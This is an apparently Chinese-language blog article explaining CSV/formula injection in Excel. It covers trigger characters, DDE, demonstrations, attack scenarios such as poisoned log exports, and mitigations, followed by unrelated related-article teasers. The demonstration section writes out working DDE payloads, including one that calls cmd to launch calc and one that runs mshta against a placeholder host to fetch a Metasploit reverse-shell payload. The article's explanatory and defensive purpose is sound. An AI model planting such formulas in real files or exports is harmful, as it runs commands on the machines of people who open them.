“对于网络安全来说,一切的外部输入均是不可信的”。但是CSV文件注入漏洞确时常被疏忽,究其原因,可能是因为我们脑海里的第一印象是把CSV文件当作了普通的文本文件,未能引起警惕。

一、漏洞定义

攻击者通过在CSV文件中构造恶意的命令或函数,使得正常用户在使用Excel打开这个CSV文件后恶意的命令或函数被执行,从而造成攻击行为。

二、漏洞产生的原因

1、CSV文件中的几个特殊符号“+、-、@、=”

尝试在CSV单元格中输入“=1+1”,回车后,发现单元格的值变成了2,说明加号被当做运算执行了。

除了加号,“-”、“@”、“=”也会被解释为公式。

2、DDE(Dynamic Data Exchange)

DDE是Windows下进程间通信协议,是一种动态数据交换机制,使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用

三、漏洞演示

1、OS命令执行

通过在CSV文件中构建DDE公式,可以调用CMD达到执行操作系统命令的目的。

如下图所示,在单元格中输入1+cmd|’/C calc’!A0,回车后Excel会弹出一个框,提醒Excel需要启动另外一个程序(cmd),点击是,Windows会弹出计算器窗口。

利用Metasploit可以生成payload,可以使用下面的注入执行payload,从而达到反弹shell的目的。

=1+cmd|'/c mshta.exe http://XXXXX:8080/Micropoor.hta '!A0

因此,利用这种漏洞危害,我们可以在用户的操作系统上执行添加用户、开启任意程序、操作注册表、反弹shell等命令。

2、跳转至钓鱼网站

当用户点击下面链接时,会使用IE浏览器打开攻击者提供的钓鱼网站,起到钓鱼的目的。

3、信息泄露

通过在CSV文件中注入超链接函数,当用户打开文件并点击链接时,可以把指定的单元格内容提交到指定网址(如下提交A2/A3单元格的内容)。

四、漏洞发生的场景

当网站提供CSV文件导出功能时,如果用户可以控制CSV文件的内容,就可能发送此类攻击。

比如攻击者可以在登录输入框、以及其他的查询、写入功能中注入恶意命令,当管理员使用CSV格式导出网站日志时,就可能发生此类攻击。

五、漏洞防御

1、确保单元格不以特殊字符(“+、-、@、=”)开头;

2、对单元格的内容进行特殊字符(“+、-、@、=”)过滤;

3、先对原始输入内容进行转义(双引号前多加一个双引号),然后在添加tab键和双引号防止注入;

4、禁止导出CSV、Excel格式;

5、导出为Excel格式前,利用代码把单元格的格式设置为文本(对CSV不生效)。

防御措施面临的困难:

1、对单元格内容进行处理势必会改变原始内容,对于需要数据导出后在导入其他系统进行执行的场景,对业务会有影响;

2、对于数据量大的场景,如果在导出进行过滤、转义等操作,会影响导出效率。

CSV文件注入漏洞简析的更多相关文章

  1. NETGEAR 系列路由器命令执行漏洞简析

    NETGEAR 系列路由器命令执行漏洞简析 2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞.一时间,各路人马开始忙碌起来.厂商忙于声明和 ...

  2. PHP单一文件入口框架简析

    <?php /** * PHP单一文件框架设计简析 * 1.MVC架构实现 * 2.URL路由原理 */ //URL路由原理 /** * 路由作用 * 获取url中的c和a变量,执行c类对应的方 ...

  3. XXE漏洞简析

    0x00.什么是XXE? XML外部实体注入(XML External Entity Injection) XML基础 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型. ...

  4. logback.xml日志文件过滤器配置简析

    自定义过滤器 java代码,目的是在mdc中放值,然后在日志中打印 package com.controller; import com.pojo.JsonData; import org.slf4j ...

  5. NXNSAttack漏洞简析

    漏洞简介: 该漏洞为DNS 放大攻击,是 DDoS 攻击,攻击者利用 DNS 服务器中的漏洞将小查询转换为可能破坏目标服务器的更大负载. 在 NXNSAttack 的情况下,远程攻击者可以通过向易受攻 ...

  6. Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...

  7. csv注入漏洞原理&&实战

    前言  为了找工作,巩固巩固知识.本文会介绍 csv 注入漏洞的原理,最后给出一个示例.  正文 在 csv 文件 和 xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识 ...

  8. jdbc mysql crud dao模型 sql注入漏洞 jdbc 操作大文件

    day17总结 今日内容 l JDBC 1.1 上次课内容总结 SQL语句: 1.外键约束:foreign key * 维护多个表关系! * 用来保证数据完整性! 2.三种关系: * 一对多: * 一 ...

  9. 3D文件压缩库——Draco简析

    3D文件压缩库——Draco简析 今年1月份时,google发布了名为“Draco”的3D图形开源压缩库,下载了其代码来看了下,感觉虽然暂时用不到,但还是有前途的,故简单做下分析. 注:Draco 代 ...

随机推荐

  1. Vue框架:挂载点-过滤器-事件指令-表单指令

    近期学习安排 1.Vue框架 前台html+css+js框架,是不同于js与JQuery的数据驱动框架, 学习的知识点:指令 |  实例成员 | vue项目 2.drf框架 django的插件,完成前 ...

  2. 替换String中的\r\n\t

    String json = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\r\n " ...

  3. Linux基本操作_20191117

    VMware和Ubuntu的安装, 想来想去,还是需要安装,不能老是使用Windows的,后面还有很多都要用到Linux系统的,这个可以说是开发人员必备的了, 基本的使用: 1,Windows下面C: ...

  4. 解决一个通过 WebReference 调用 WCF 时自定义 DataContract 类参数提交的问题

    先看一下VS2013自动创建默认的IService1.vb,注意自定义的数据契约 CompositeType ' 注意: 使用上下文菜单上的“重命名”命令可以同时更改代码和配置文件中的接口名“ISer ...

  5. LIS 问题 二分查找优化

    按n=5,a-{4,2,3,1,5}为例 dp的值依次是: INF INF INF INF INF 4     INF INF INF INF 2     INF INF INF INF 2      ...

  6. 88)PHP,PDOStatement对象

    PDOStatement类,称之为PDO语句对象,SQL执行完(处理完)产生的结果对象. fetchColumn(index=) 允许传递参数,表示获得第一条记录的第几个字段的值. 相当于 getOn ...

  7. 吴裕雄--天生自然 R语言开发学习:使用键盘、带分隔符的文本文件输入数据

    R可从键盘.文本文件.Microsoft Excel和Access.流行的统计软件.特殊格 式的文件.多种关系型数据库管理系统.专业数据库.网站和在线服务中导入数据. 使用键盘了.有两种常见的方式:用 ...

  8. 91)PHP,cookie代码展示

    cookie练习的代码: (1)先设置:setcookie('key值‘,’value值’): (2)然后我执行那个文件, (3)获取我的cookie值,用$_cookie['key值’]  cook ...

  9. 第十六届“二十一世纪的计算”学术研讨会 密西根州立大学教授Anil K. Jain主题演讲

    Biometrics---How Do I Know Who You Are? 密西根州立大学教授Anil K. Jain主题演讲" title="第十六届"二十一世纪的 ...

  10. SpringMVC学习笔记一:采用注解式搭建简单springMVC环境

    搭建的环境使用的是maven项目 项目目录树: 搭建环境使用的jar包,pom.xml文件 <project xmlns="http://maven.apache.org/POM/4. ...